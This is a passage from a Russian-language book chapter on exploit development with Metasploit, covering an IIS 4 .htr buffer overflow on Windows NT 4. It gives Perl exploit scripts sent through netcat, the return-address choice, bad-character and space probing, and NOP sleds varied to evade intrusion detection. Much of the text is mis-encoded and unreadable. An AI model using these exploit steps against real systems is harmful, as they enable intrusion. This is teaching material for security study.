çàëè Windows NT 4 ñ ïàêåòîì îáíîâëåíèé Service Pack 5 (ðèñ. 12.22).

Примечание

Многие эксплойты отдают предпочтение библиотекам ntdll.dll и
kernel32.dll в качестве трамплина по ряду причин:
1) начиная с Windows NT, любой процесс обязан загрузить в свое

адресное пространство библиотеку ntdll.dll;
2) библиотека kernel32.dll должна присутствовать во всех Win32�

приложениях;
3) если библиотеки ntdll.dll и kernel32.dll загружены не по своим пре�

допределенным начальным адресам, система выдаст ошибку.
Используя в нашем примере эти две библиотеки, мы существенно
повышаем шансы найти коды операции для задания нужного нам ад�
реса возврата.

Рис. 12.22. Рис. 12.22. Рис. 12.22. Рис. 12.22. Рис. 12.22. Шаг 3: выбор целевой платформы

Áóêâàëüíî ÷åðåç íåñêîëüêî ñåêóíä áàçà äàííûõ âåðíåò èíôîðìàöèþ
î âîñüìè âõîæäåíèÿõ êîìàíäû CALL EAX â ntdll.dll è kernel32.dll íà ïëàòôîð-
ìå Windows NT 4 Service Pack 5 (ðèñ. 12.23). Èíôîðìàöèÿ î êàæäîì âõîæäå-
íèè ñîñòîèò èç ÷åòûðåõ ïîëåé: àäðåñ, êîä îïåðàöèè, ìîäóëü è âåðñèè ÎÑ.
Â êîëîíêå «Opcode» íàõîäèòñÿ êîìàíäà, íàéäåííàÿ ïî àäðåñó, ïîêàçàííîìó
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â êîëîíêå «Address». Â êîëîíêàõ «Module» è «OS Versions» ñîäåðæèòñÿ äîïîë-
íèòåëüíàÿ èíôîðìàöèÿ, êîòîðàÿ ìîæåò áûòü ïîëåçíà äëÿ îðãàíèçàöèè àòàêè.
Íàøåìó ýêñïëîéòó íóæåí òîëüêî îäèí àäðåñ, ÷òîáû ïåðåçàïèñàòü àäðåñ âîç-
âðàòà. Ïîñêîëüêó âñå ðàâíî, êàêîé âûáðàòü, âîçüìåì êîìàíäó CALL EAX èç
ntdll.dll, ðàñïîëîæåííóþ ïî àäðåñó 0x77F76385.

Рис. 12.23.Рис. 12.23.Рис. 12.23.Рис. 12.23.Рис. 12.23. Шаг 4: интерпретация результатов

Примечание

Программы постоянно изменяются и обновляются. Поэтому смеще�
ние адреса возврата для одной и той же уязвимости может оказаться
разным в разных версиях. Взять, к примеру, тот же IIS 4. Мы знаем,
что при установленном пакете обновлений смещение равно 589 бай�
там. Но при тестировании с Service Pack 3 и 4 обнаружилось, что ад�
ресу возврата должно предшествовать 593 байта. Это означает, что
при разработке эксплойта нужно учитывать версию атакуемой про�
граммы и выбирать соответствующее ей смещение.
Выше мы уже говорили, что файлы разделяемых библиотек тоже мо�
гут зависеть от версии ОС и пакета обновлений. Но иногда удается
найти такой адрес кода операции, который остается инвариантным
для разных версий ОС. Редко, но бывает, что адрес одинаков для
всех версий Windows и пакетов обновлений. Такой адрес называется
универсальным адресом возврата. В качестве примера можно на�
звать эксплойт для атаки на переполнение буфера в программе
Seattle Lab Mail 5.5 POP3, который включен в каркас Metasploit.

Разработка эксплойтов с помощью каркаса Metasploit
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Ïîìèìî áàçû äàííûõ ñ îãðîìíûì íàáîðîì êîäîâ îïåðàöèé, Metasploit ñî-
äåðæèò äâå êîìàíäíûõ óòèëèòû: msfpescan è msfelfscan, êîòîðûå ïîçâîëÿþò
èñêàòü êîäû îïåðàöèé â ôàéëàõ ôîðìàòà PE è ELF ñîîòâåòñòâåííî. PE – ýòî
ôîðìàò èñïîëíÿåìûõ ôàéëîâ â Windows, à ELF – â áîëüøèíñòâå UNIX-ñèñ-
òåì. Ïðè ñêàíèðîâàíèè âðó÷íóþ âàæíî ïîëüçîâàòüñÿ óòèëèòîé äëÿ òîé
ïëàòôîðìû, êîòîðóþ âû íàìåðåâàåòåñü àòàêîâàòü. Íà ðèñ. 12.24 ïîêàçàíû ðå-
çóëüòàòû ðàáîòû msfpescan, çàïóùåííîé äëÿ ïîèñêà â ntdll.dll êîìàíä ïåðåõîäà,
â êîòîðûõ èñïîëüçóåòñÿ ðåãèñòð EAX.

Использование адреса возврата

Òåïåðü ìîæíî èñïðàâèòü ýêñïëîéò òàê, ÷òîáû îí çàïèñàë âìåñòî ñîõðàíåííî-
ãî àäðåñà âîçâðàòà íàéäåííûé íàìè àäðåñ àäðåñ êîìàíäû CALL EAX, òî åñòü
0x77F76385. Íà ìåñòå ñîõðàíåííîãî àäðåñ âîçâðàòà îêàæóòñÿ áàéòû ïîëåçíîé
íàãðóçêè ñ 590 ïî 593. Â ïðèìåðå 12.4 ïîêàçàíî, êàê ñëåäóåò ìîäèôèöèðîâàòü
òåêñò ýêñïëîéòà.

Пример 12.4. Пример 12.4. Пример 12.4. Пример 12.4. Пример 12.4. Вставка адреса возврата
1 $string = "GET /";

2 $string .= "\xcc" x 589;

3 $string .= "\x85\x63\xf7\x77";

4 $string .= "\xcc" x 500;

5 $string .= ".htr HTTP/1.0\r\n\r\n";

6
7 open(NC, "|nc.exe 192.168.181.129 80");

Рис. 12.24.Рис. 12.24.Рис. 12.24.Рис. 12.24.Рис. 12.24. Использование утилиты msfpescan
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8 print NC $string;

9 close(NC);

Â ñòðîêàõ 1 è 5 çàäàþòñÿ ïðåôèêñ è ñóôôèêñ ñòðîêè àòàêè, ñîäåðæàùèå âèä
çàïðîñà, à òàêæå ðàñøèðåíèå èìåíè ôàéëà è âåðñèþ ïðîòîêîëà. Â ñòðîêå 3
ñîõðàíåííûé àäðåñ âîçâðàòà ïåðåïèñûâàåòñÿ àäðåñîì êîìàíäû CALL EAX.
Òàê êàê æåðòâà ðàáîòàåò íà ïëàòôîðìå x86, òî àäðåñ ñëåäóåò ïðåäñòàâëÿòü
â ôîðìàòå  l ittle endian. Â ñòðîêàõ 2  è 4 ñòðîêà çàïðîñà äîïîëíÿåòñÿ ñëåâà è
ñïðàâà áàéòîì 0xCC. Ñòðîêè 7 è 9 íóæíû äëÿ êîììóíèêàöèè ÷åðåç ñîêåò.

Íà âñåõ ïðîöåññîðàõ x86 áàéòîì 0xCC ïðåäñòàâëÿåòñÿ êîìàíäà INT 3, êîòî-
ðàÿ îñòàíàâëèâàåò ïðîöåññ ïðè ðàáîòå ïîä îòëàä÷èêîì. Çàïîëíèâ ñòðîêó ýòîé
êîìàíäîé, ìû ìîæåì áûòü óâåðåíû, ÷òî íà êàêîå áû ìåñòî â ñòðîêå àòàêè íè
óêàçûâàë EIP, îòëàä÷èê ïåðåõâàòèò óïðàâëåíèå ïðîöåññîì. Òåì ñàìûì ìû
óáåäèìñÿ, ÷òî íàø àäðåñ âîçâðàòà ðàáîòàåò ïðàâèëüíî. Êîãäà ïðîöåññ áóäåò
îñòàíîâëåí, ìîæíî áóäåò â îòëàä÷èêå ïîñìîòðåòü, êóäà èìåííî óêàçûâàåò EIP
(ðèñ. 12.25).

Íà ðèñ. 12.25 â îêíå îòëàä÷èêà ïîêàçàíî ÷åòûðå îáëàñòè (ïî ÷àñîâîé
ñòðåëêå, íà÷èíàÿ ñ ëåâîãî âåðõíåãî óãëà): äèçàññåìáëèðîâàííûå êîìàíäû,
çíà÷åíèÿ ðåãèñòðîâ, ñîäåðæèìîå ñòåêà è ñîäåðæèìîå ïàìÿòè. Â îêíå äèçàñ-
ñåìáëåðà, ãäå ïîêàçàíû êîìàíäû ïðîãðàììû, âèäíî, ÷òî EIP óêàçûâàåò íà
îäíó èç êîìàíä INT 3. Â îêíå ðåãèñòðîâ ïîêàçàíû òåêóùèå çíà÷åíèÿ ðåãèñò-

Рис. 12.25. Рис. 12.25. Рис. 12.25. Рис. 12.25. Рис. 12.25. Проверка правильности адреса возврата

Разработка эксплойтов с помощью каркаса Metasploit
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ðîâ. EIP ñîäåðæèò àäðåñ ñëåäóþùåé èñïîëíÿåìîé êîìàíäû – 0x00F0FC7D, òàê
÷òî òåêóùàÿ êîìàíäà äîëæíà íàõîäèòüñÿ ïî àäðåñó 0x00F0FC7C. Îêíî ðàñïå-
÷àòêè ïàìÿòè ïîäòâåðæäàåò, ÷òî 0x00F0FC7C – ýòî àäðåñ ïåðâîãî áàéòà, ñëå-
äóþùåãî çà àäðåñîì âîçâðàòà, òàê ÷òî êîìàíäà, íà êîòîðóþ óêàçûâàë àäðåñ
âîçâðàòà, ÷åñòíî ñêîïèðîâàëà ñîäåðæèìîå EAX â EIP.

Íàì íóæíî, ÷òîáû ïðîöåññîð âûïîëíèë íå êîìàíäó INT 3, à êîä íàøåé ïî-
ëåçíîé íàãðóçêè, íî ñíà÷àëà íåîáõîäèìî âûÿñíèòü, êàêèå íà íåå íàëàãàþòñÿ
îãðàíè÷åíèÿ.

Определение недопустимых символов

Ìíîãèå ïðèëîæåíèÿ ôèëüòðóþò ïîëó÷àåìûå èçâíå äàííûå, ïîýòîìó ïåðåä
òåì êàê ïîñûëàòü æåðòâå ïîëåçíóþ íàãðóçêó, âàæíî âûÿñíèòü, íåò ëè â íåé
ñèìâîëîâ, êîòîðûå áóäóò óäàëåíû èëè èçìåíåíû. Åñòü äâà ñïîñîáà ïðîâåðèòü,
ïðîéäåò ëè ïîëåçíàÿ íàãðóçêà ÷åðåç óñòàíîâëåííûå ïðèëîæåíèåì ôèëüòðû.

Ïåðâûé ìåòîä ñîñòîèò â òîì, ÷òîáû ïîñëàòü ïîëåçíóþ íàãðóçêó è ïîñìîò-
ðåòü, âûïîëíèòñÿ îíà èëè íåò. Åñëè âûïîëíèëàñü, ìîæíî óñïîêîèòüñÿ. Íî
îáû÷íî òàê íå áûâàåò è ïðèõîäèòñÿ ïðèáåãàòü êî âòîðîìó ìåòîäó.

Ìû çíàåì, ÷òî âñå âîçìîæíûå ñèìâîëû â êîäèðîâêå ASCII ïðåäñòàâëÿþò-
ñÿ ÷èñëàìè îò 0 äî 255. Çíà÷èò, ìîæíî ñîçäàòü òåñòîâóþ ñòðîêó, êîòîðàÿ áó-
äåò ñîäåðæàòü êàæäûé èç íèõ. Ýòó ïîñëåäîâàòåëüíîñòü ìîæíî ïîâòîðèòü
â îáëàñòè, îêðóæàþùåé àäðåñ âîçâðàòà, à â êà÷åñòâå ñàìîãî àäðåñà âîçâðàòà
óêàçàòü çàâåäîìî íåêîððåêòíûé àäðåñ â ïàìÿòè. Êîãäà ýòîò àäðåñ çàãðóçèòñÿ
â EIP, ïðîèçîéäåò íàðóøåíèå çàùèòû, è ìû ñ ïîìîùüþ îòëàä÷èêà ñìîæåì
ïîñìîòðåòü, êàêèå ñèìâîëû îòôèëüòðîâàëèñü, à êàêèå ñ÷èòàþòñÿ ïðèçíàêîì
êîíöà ñòðîêè.

Åñëè ñèìâîë áûë óäàëåí èç ñåðåäèíû ñòðîêè, òî åãî ñëåäóåò èçáåãàòü â ïî-
ëåçíîé íàãðóçêå. Åñëè æå ñòðîêà ïðåæäåâðåìåííî îáîðâàëàñü, çíà÷èò ñèìâîë,
ñëåäóþùèé çà ïîñëåäíèì âèäèìûì, ïðèëîæåíèå èíòåðïðåòèðóåò êàê ïðè-
çíàê êîíöà ñòðîêè. Òàêèõ ñèìâîëîâ â ïîëíåçíîé íàãðóçêå òîæå íå äîëæíî
áûòü. Äâîè÷íûé íîëü (0x00)  ïðàêòè÷åñêè âñåãäà ñ÷èòàåòñÿ êîíöîì ñòðîêè,
ïîýòîìó â òåñòîâóþ ñòðîêó åãî äàæå âêëþ÷àòü íå íàäî. Åñëè îáíàðóæåí åùå
êàêîé-òî ñèìâîë, îáðûâàþùèé ñòðîêó, íàäî èñêëþ÷èòü è åãî è ïîñëàòü ìî-
äèôèöèðîâàííóþ òåñòîâóþ ñòðîêó åùå ðàç.

Ïðè îòïðàâêå òåñòîâîé ñòðîêè æåðòâå îíà ÷àñòî ïîâòîðÿåòñÿ íåñêîëüêî
ðàç, òàê êàê, âîçìîæíî, äåëî íå â ôèëüòðå, à â òîì, ÷òî êàêàÿ-òî ôóíêöèÿ
ïðîãðàììû ìîäèôèöèðóåò äàííûå â ñòåêå. Òàê êàê ýòà ôóíêöèÿ âûçûâàåòñÿ
äî îñòàíîâà ïðîöåññà, òî íåâîçìîæíî ñêàçàòü, ÷òî èìåííî ñòàëî ïðè÷èíîé
ìîäèôèêàöèè. Ïîâòîðèâ ñòðîêó íåñêîëüêî ðàç, ìû ñìîæåì âûÿñíèòü, êòî
âèíîâàò: ôèëüòð èëè ôóíêöèÿ. Åñëè íåêîòîðûé ñèìâîë áóäåò óäàëåí èëè èç-
ìåíåí âî âñåõ ýêçåìïëÿðàõ òåñòîâîé ñòðîêè, çíà÷èò, ýòî, ñêîðåå âñåãî, ôèëüòð,
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òàê êàê âåðîÿòíîñòü, ÷òî íåêîòîðàÿ ôóíêöèÿ ìîäèôèöèðóåò îäèí è òîò æå
ñèìâîë â ðàçíûõ ìåñòàõ, ìàëà.

Ïðîöåññ ìîæíî óñêîðèòü, åñëè ïðèíÿòü íåêîòîðûå äîïóùåíèÿ îá àòàêóå-
ìîì ïðèëîæåíèè. Â íàøåì ñëó÷àå URL – ýòî äëèííàÿ ñòðîêà, çàâåðøàåìàÿ
íóëåì. Òàê êàê URL ìîæåò ñîäåðæàòü áóêâû è öèôðû, òî ýòè ñèìâîëû çàâå-
äîìî äîïóñòèìû. Ïî îïûòó ìû çíàåì, ÷òî ñèìâîëû, èç êîòîðûõ ñîñòîèò àä-
ðåñ âîçâðàòà, òîæå íå áûëè îòôèëüòðîâàíû, òî åñòü áàéòû 0x77, 0xF7, 0x63 è
0x85 ðàçðåøåíû, êàê è áàéò 0xCC. Åñëè íàì óäàñòñÿ ñîñòàâèòü ïîëåçíóþ íà-
ãðóçêó òàê, ÷òî îíà áóäåò ñîäåðæàòü òîëüêî áóêâû, öèôðû è ñèìâîëû ñ êîäàìè
0x77, 0xF7, 0x63, 0x85 è 0xCC, òî, ñêîðåå âñåãî, ôèëüòðû íå ñòàíóò åé ïîìåõîé.

Íà ðèñ. 12.26 ïðèâåäåí ïðèìåð òåñòîâîé ñòðîêè äëÿ âûÿâëåíèÿ íåäîïóñòè-
ìûõ ñèìâîëîâ.

Рис. 12.26. Рис. 12.26. Рис. 12.26. Рис. 12.26. Рис. 12.26. Строка для тестирования на недопустимые символы

Определение ограничений на размер

Âûÿâèâ íåäîïóñòèìûå ñèìâîëû, ìû òåïåðü äîëæíû ïîíÿòü, ñêîëüêî â íà-
øåì ðàñïîðÿæåíèè ìåñòà. ×åì áîëüøå ìåñòà, òåì áîëüøå êîäà, à ÷åì áîëüøå
êîäà, òåì øèðå âûáîð ïîëåçíûõ íàãðóçîê.

Ïðîñòåéøèé ñïîñîá îïðåäåëèòü îáúåì ïàìÿòè, äîñòóïíîé äëÿ àòàêè, – ïî-
ñëàòü ñòîëüêî äàííûõ, ñêîëüêî âîçìîæíî, ïîêà ñòðîêà íå áóäåò îáðåçàíà.
Â ïðèìåðå 12.5 ìû óæå çíàåì, ÷òî äî àäðåñà âîçâðàòà íàì äîñòóïíî 589 áàé-
òîâ, íî íå çíàåì, ñêîëüêî ìåñòà åñòü ïîñëå ýòîãî àäðåñà. ×òîáû âûÿñíèòü
ýòî, ìîäèôèöèðóåì ýêñïëîéò, ïîñëàâ ÷óòü áîëüøå äàííûõ.

Пример 12.5. Пример 12.5. Пример 12.5. Пример 12.5. Пример 12.5. Определение объема доступной памяти
1 $string = "GET /";

2 $string .= "\xcc" x 589;

3 $string .= "\x85\x63\xf7\x77";

4 $string .= "\xcc" x 1000;

5 $string .= ".htr HTTP/1.0\r\n\r\n";

6
7 open(NC, "|nc.exe 192.168.181.129 80");

8 print NC $string;

9 close(NC);

Â ñòðîêå 4 ìû ïîñëàëè ïîñëå àäðåñà âîçâðàòà íå 500 áàéò, êàê ðàíüøå,
à 1000. Êîãäà ïðîöåññîð âûïîëíèò êîìàíäó 0xCC, íåïîñðåäñòâåííî ñëåäóþ-
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ùóþ çà àäðåñîì âîçâðàòà, ïðîöåññ îñòàíîâèòñÿ, è ìû ñìîæåì îïðåäåëèòü,
ñêîëüêî ìåñòà äîñòóïíî äëÿ ïîëåçíîé íàãðóçêè.

×ðåçìåðíî óâåëè÷èâàÿ ðàçìåð ñòðîêè àòàêè, ìû ðèñêóåì ïîñëàòü ñëèøêîì
ìíîãî äàííûõ. Ýòî âûçîâåò ïðîãðàììíîå èñêëþ÷åíèå, êîòîðîå ïåðåõâàòèò
îáðàáîò÷èê, â ðåçóëüòàòå ÷åãî ìû íå ïåðåéäåì ïî íàøåìó àäðåñó âîçâðàòà.
Òîãäà îïðåäåëèòü ðàçìåð äîñòóïíîé ïàìÿòè îêàæåòñÿ òðóäíåå.

Ïðîñìîòð ñîäåðæèìîãî ïàìÿòè ïåðåä àäðåñîì âîçâðàòà ïîäòâåðæäàåò, ÷òî
589 áàéòîâ äåéñòâèòåëüíî çàïîëíåíû áàéòîì 0xCC. Êàê âèäíî èç ðèñ. 12.27,
ïàìÿòü, ñëåäóþùàÿ çà àäðåñîì âîçâðàòà, íà÷èíàåòñÿ ñ 0x00F0FCCC è ïðîäîë-
æàåòñÿ äî 0x00F0FFFF. Ïîõîæå, ÷òî íà àäðåñå 0x00F0FFFF ïîëåçíàÿ íàãðóçêà
îáðûâàåòñÿ è ëþáûå ïîïûòêè îáðàòèòüñÿ ê ïàìÿòè ïî àäðåñàì ñòàðøå ýòî-
ãî íàòàëêèâàþòñÿ íà ñîîáùåíèå îòëàä÷èêà î òîì, ÷òî ïàìÿòü ïî òàêîìó àä-
ðåñó îòñóòñòâóåò.

Рис. 12.27. Рис. 12.27. Рис. 12.27. Рис. 12.27. Рис. 12.27. Конец строки атаки

Íà àäðåñå 0x00F0FFFF ïàìÿòü çàêàí÷èâàåòñÿ, òàê êàê ìû äîøëè äî êîíöà
ñòðàíèöû, à àäðåñà, íà÷èíàÿ ñ 0x00F10000, ïðîãðàììå íå âûäåëåíû. Íî âñå
æå ïàìÿòü îò 0x00F0FCCC äî 0x00F0FFFF áûëà çàïîëíåíà áàéòîì 0xCC,
è, çíà÷èò, â äîïîëíåíèå ê 589 áàéòàì äî àäðåñà âîçâðàòà, ìû åùå èìååì
820 áàéòîâ ïîñëå íåãî. Ïðè íåîáõîäèìîñòè ìîæíî âîñïîëüçîâàòüñÿ êîìàí-
äîé JMP, ÷òîáû ïðåäîñòàâèòü â ðàñïîðÿæåíèå ïîëåçíîé íàãðóçêè îáà ýòèõ
ó÷àñòêà, ÷òî â ñîâîêóïíîñòè äàåò 1409 áàéòîâ. Ýòîãî õâàòèò äëÿ ðàçìåùåíèÿ
ïî÷òè ëþáîé ïîëåçíîé íàãðóçêè. Îêîí÷àòåëüíàÿ ñõåìà ðàñïðåäåëåíèÿ ïàìÿòè
ïîêàçàíà íà ðèñ. 12.28.



617

Дорожка из NOP3команд

×òîáû ïîëåçíàÿ íàãðóçêà âûïîëíèëàñü ïðàâèëüíî, ðåãèñòð EIP äîëæåí óêàçû-
âàòü òî÷íî íà åå íà÷àëî. Íî ïðåäñêàçàòü àäðåñ ïîëåçíîé íàãðóçêè â ñòåêå äëÿ
ðàçíûõ ñèñòåì ñ òî÷íîñòüþ äî áàéòà ñëîæíî, ïîýòîìó ÷àñòî åå íà÷èíàþò
ñ ïîñëåäîâàòåëüíîñòè («äîðîæêè») NOP-êîìàíä, íå âûïîëíÿþùèõ íèêàêèõ
ïîëåçíûõ îïåðàöèé. Ïî òàêîé äîðîæêå ìîæíî «ñêîëüçèòü» äî ïåðâîé ïîëåç-
íîé êîìàíäû, äàæå åñëè EIP áóäåò óêàçûâàòü íå ñîâñåì òóäà, êóäà íóæíî. Òà-
êèì îáðàçîì, ýòîò ïðèåì ïîâûøàåò øàíñû íà óñïåøíîå âûïîëíåíèå ýêñ-
ïëîéòà, ïîñêîëüêó ðàñøèðÿåò îáëàñòü äîïóñòèìûõ àäðåñîâ äëÿ EIP, ñîõðàíÿÿ
â òî æå âðåìÿ ñîñòîÿíèå ïðîöåññîðà.

À ñîõðàíÿòü ñîñòîÿíèå ïðîöåññîðà âàæíî, òàê êàê íå èñêëþ÷åíî, ÷òî äëÿ
ðàáîòû ïîëåçíîé íàãðóçêè äîëæíû óäîâëåòâîðÿòüñÿ íåêîòîðûå ïðåäóñëîâèÿ.
NOP-êîìàíäà íå èçìåíÿåò ñîñòîÿíèÿ ïðîöåññîðà, êîòîðûé ïðîñòî òðàòèò
îäèí òàêò íà ïåðåõîä ê ñëåäóþùåé êîìàíäå. Ïðè ýòîì ëèøü óâåëè÷èâàåòñÿ
çíà÷åíèå ðåãèñòðà EIP.

Íà ðèñ. 12.29 ïîêàçàíî, êàê äîðîæêà èç NOP-êîìàíä ïðèâîäèò ê òîìó àäðå-
ñó, íà êîòîðûé óêàçûâàåò EIP.

Рис. 12.28. Рис. 12.28. Рис. 12.28. Рис. 12.28. Рис. 12.28. Свободное место в строке атаки

Â ëþáîì ïðîöåññîðå åñòü îäíà èëè íåñêîëüêî êîìàíä, êîòîðûå ìîãóò âûñ-
òóïàòü â ðîëè «ïóñòûøêè». Òàê, â ïðîöåññîðàõ ñåìåéñòâà x86 ìîæíî âçÿòü êî-
ìàíäó ñ êîäîì 0x90, à íà íåêîòîðûõ RISC-ïëàòôîðìàõ âîñïîëüçîâàòüñÿ êîìàí-
äîé ñëîæåíèÿ è îòáðîñèòü ðåçóëüòàò. Åñëè êîìïüþòåð-æåðòâà ðàáîòàåò íà
ïëàòôîðìå x86, òî äîðîæêó ìîæíî âûëîæèòü èç êîìàíä ñ êîäîì 0x90. Ñòðî-
ãî ãîâîðÿ, êîä îïåðàöèè 0x90 ñîîòâåòñòâóåò êîìàíäå XCHG EAX,EAX, êîòî-
ðàÿ îáìåíèâàåò ðåãèñòð EAX ñ ñàìèì ñîáîé, íå èçìåíÿÿ òåì ñàìûì ñîñòîÿíèÿ
ïðîöåññîðà.

Рис. 12.29. Рис. 12.29. Рис. 12.29. Рис. 12.29. Рис. 12.29. Повышение надежности за счет дорожки из NOP*команд
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Ñ òî÷êè çðåíèÿ óñïåøíîñòè àòàêè, â êà÷åñòâå NOP-êîìàíäû ìîæíî âûá-
ðàòü ëþáóþ êîìàíäó, êîòîðàÿ íå èçìåíÿåò òå àñïåêòû ñîñòîÿíèÿ ïðîöåññîðà,
êîòîðûå âàæíû äëÿ ðàáîòû ýêñïëîéòà, è ïîçâîëÿåò â êîíöå êîíöîâ äîñòè÷ü
àäðåñà, íà êîòîðûé óêàçûâàåò EIP. Íàïðèìåð, åñëè ýêñïëîéòó âàæíî ëèøü çíà-
÷åíèå ðåãèñòðà EAX, òî äîïóñòèìà ëþáàÿ êîìàíäà, íå ìîäèôèöèðóþùàÿ åãî:
ìîæíî èíêðåìåíòèðîâàòü EBX, èçìåíÿòü ESP, îáíóëÿòü ECX è òàê äàëåå.
Çíàÿ ýòî, ìû ìîæåì íå îãðàíè÷èâàòüñÿ òîëüêî ïîñëåäîâàòåëüíîñòüþ áàéòîâ
0x90 è òåì ñàìûì ñíèçèòü âåðîÿòíîñòü òîãî, ÷òî ýêñïëîéò áóäåò îïîçíàí,
âåäü ìíîãèå IDS èùóò òàêèå öåïî÷êè â ïðîõîäÿùåì òðàôèêå.

Íà âûÿñíåíèå òîãî, êàêèå êîäû îïåðàöèè ñîâìåñòèìû ñ íàøåé ïîëåçíîé
íàãðóçêîé è êàêèõ ñèìâîëîâ â íåé íóæíî èçáåãàòü, ìîæåò óéòè î÷åíü ìíîãî
âðåìåíè. Íî, ê ñ÷àñòüþ, èñõîäÿ èç ïàðàìåòðîâ ýêñïëîéòà, øåñòü èìåþùèõñÿ
â Metasploit ãåíåðàòîðîâ NOP-êîìàíä ìîãóò ñîçäàòü ìèëëèîíû äîðîæåê, äå-
ëàÿ îáíàðóæåíèå ýêñïëîéòà ïî èõ ñèãíàòóðàì ïðàêòè÷åñêè íåâîçìîæíûì.
Õîòÿ òàêèå ãåíåðàòîðû ìîæíî èñïîëüçîâàòü òîëüêî äëÿ ýêñïëîéòîâ, óæå
âñòðîåííûõ â êàðêàñ, âñå æå äëÿ ïîëíîòû èçëîæåíèÿ ìû èõ ðàññìîòðèì.

Èìååòñÿ ïî îäíîìó ãåíåðàòîðó äîðîæåê äëÿ ïëàòôîðì Alpha, MIPS, PPC è
SPARC. ×òî êàñàåòñÿ àðõèòåêòóðû x86, òî íà âûáîð ïðåäîñòàâëÿþòñÿ äâà ãåíå-
ðàòîðà: Pex è OptyNop2. Ãåíåðàòîð Pex ñîçäàåò ïîñëåäîâàòåëüíîñòè îäíîáàé-
òîâûõ êîìàíä, òîãäà êàê OptyNop2 âêëþ÷àåò êîìàíäû äëèíîé îò îäíîãî äî
øåñòè áàéòîâ. Âñïîìíèòå îá îäíîì èç âàæíåéøèõ òðåáîâàíèé ê äîðîæêå èç
NOP-êîìàíä: íà êàêîé áû áàéò âíóòðè íåå íè óêàçûâàë EIP, äîðîæêà äîëæíà
ê íåìó âåñòè, ïðè÷åì èñïîëíåíèå äîëæíî ïðîäîëæàòüñÿ, ïîêà íå áóäåò äîñ-
òèãíóòî íà÷àëî ïîëåçíîé íàãðóçêè. Â ñëó÷àå îäíîáàéòîâûõ êîìàíä íèêàêîé
ïðîáëåìû íå âîçíèêàåò, òàê êàê ïî òàêîé äîðîæêå çàâåäîìî ìîæíî äîéòè
äî ëþáîãî áàéòà. Åñëè æå äîïóñêàþòñÿ ìíîãîáàéòîâûå êîìàíäû, òî íàäî
ó÷èòûâàòü âîçìîæíîñòü «ïðèçåìëåíèÿ» EIP â ñåðåäèíå òàêîé êîìàíäû, òîãäà
äî íà÷àëà ïîëåçíîé íàãðóçêè ìû íèêîãäà íå äîéäåì. Ãåíåðàòîð OptyNop2
ñòðîèò ïîñëåäîâàòåëüíîñòü êîìàíä òàê, ÷òî äàæå åñëè EIP áóäåò óêàçûâàòü
âíóòðü êîìàíäû, ïðîöåññîð âñå ðàâíî äîáåðåòñÿ äî íóæíîãî áàéòà. Áåç ñî-
ìíåíèÿ OptyNop2 íà ñåãîäíÿøíèé äåíü ÿâëÿåòñÿ îäíèì èç ñàìûõ ïåðåäîâûõ
ãåíåðàòîðîâ NOP-êîìàíä.

Äîðîæêè èç NOP-êîìàíä ÷àñòî èñïîëüçóþòñÿ â ñî÷åòàíèè ñ òåõíèêîé ïðÿ-
ìîé ïåðåäà÷è óïðàâëåíèÿ ïî àäðåñó â ñòåêå â ñâÿçè ñî ñëîæíîñòüþ òî÷íîãî
ïðåäñêàçàíèÿ àäðåñà âîçâðàòà. Åñëè æå ïðèìåíÿåòñÿ ìåòîä «îòòàëêèâàíèÿ» îò
ðàçäåëÿåìîé áèáëèîòåêè, òî òàêèì ñïîñîáîì íàäåæíîñòü ýêñïëîéòà íå ïîâû-
ñèòü. Âïðî÷åì, è â ýòîì ñëó÷àå îïèñàííûé ïðèåì íå áåñïîëåçåí, òàê êàê
óìåíüøàåò øàíñû ðàñïîçíàâàíèÿ ïîëåçíîé íàãðóçêè ñèñòåìîé îáíàðóæåíèÿ
âòîðæåíèé. Â ðàññìàòðèâàåìîì ïðèìåðå ìû ðàçìåñòèì ïîëåçíóþ íàãðóçêó
ïîñëå àäðåñà âîçâðàòà è, õîòÿ ýòî íåîáÿçàòåëüíî, çàìîñòèì ïðåäøåñòâóþùèå
åìó 589 áàéòîâ ñëó÷àéíûìè NOP-êîìàíäàìè (ñì. ðèñ. 12.30).
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Ïîñëåäíèé øàã ðàçðàáîòêè ýêñïëîéòà – ýòî ñîçäàíèå è êîäèðîâàíèå ïîëåç-
íîé íàãðóçêè, êîòîðóþ ïðåäñòîèò âñòàâèòü â ñòðîêó àòàêè è ïîñëàòü æåðòâå
äëÿ èñïîëíåíèÿ. Ïîëåçíàÿ íàãðóçêà ñîñòîèò èç êîìàíä, ïîçâîëÿþùèõ äîñòè÷ü
ïîñòàâëåííîé öåëè, íàïðèìåð, çàïóñòèòü íà àòàêîâàííîì êîìïüþòåðå íåêóþ
ïðîãðàììó èëè îòêðûòü ñåðâåðíûé ñîêåò, ïðè ñîåäèíåíèè ñ êîòîðûì áóäåò
çàïóñêàòüñÿ îáîëî÷êà. ×òîáû ñîçäàòü ïîëåçíóþ íàãðóçêó ñ íóëÿ, ðàçðàáîò÷èê
ýêñïëîéòà äîëæåí óìåòü ïðîãðàììèðîâàòü íà àññåìáëåðå äëÿ êîíêðåòíîãî
ïðîöåññîðà, à òàêæå ðàçáèðàòüñÿ â îñîáåííîñòÿõ öåëåâîé îïåðàöèîííîé ñèñ-
òåìû. Òðåáîâàíèÿ ñåðüåçíûå! Õóæå òîãî, â ïîëåçíîé íàãðóçêå ìîãóò îêàçàòüñÿ
ñèìâîëû, êîòîðûå ïðèëîæåíèå îòôèëüòðóåò. Õîòÿ êîìó-òî çàäà÷à ñîçäàíèÿ
ïîëåçíîé íàãðóçêè äëÿ êîíêðåòíîé àðõèòåêòóðû è îïåðàöèîííîé ñèñòåìû
ìîæåò ïîêàçàòüñÿ èíòåðåñíîé, î÷åâèäíî, ÷òî ýòî íå ñàìûé ïðîñòîé è áûñò-
ðûé ñïîñîá íàïèñàíèÿ ðàáîòîñïîñîáíîãî ýêñïëîéòà.

×òîáû íå óòðóæäàòü ñåáÿ òÿæêîé çàäà÷åé íàïèñàíèÿ ñïåöèàëèçèðîâàííîãî
shell-êîäà äëÿ êîíêðåòíîé óÿçâèìîñòè, ìû âíîâü îáðàòèìñÿ ê êàðêàñó Meta-
sploit. Îäíà èç åãî ñàìûõ ñèëüíûõ ñòîðîí – ýòî âîçìîæíîñòü àâòîìàòè÷åñêè
ãåíåðèðîâàòü ïîëåçíûå íàãðóçêè äëÿ çàäàííîé àïïàðàòíîé ïëàòôîðìû è îïå-
ðàöèîííîé ñèñòåìû, êîòîðûå çàòåì êîäèðóþòñÿ, ÷òîáû èçáàâèòüñÿ îò íåäî-
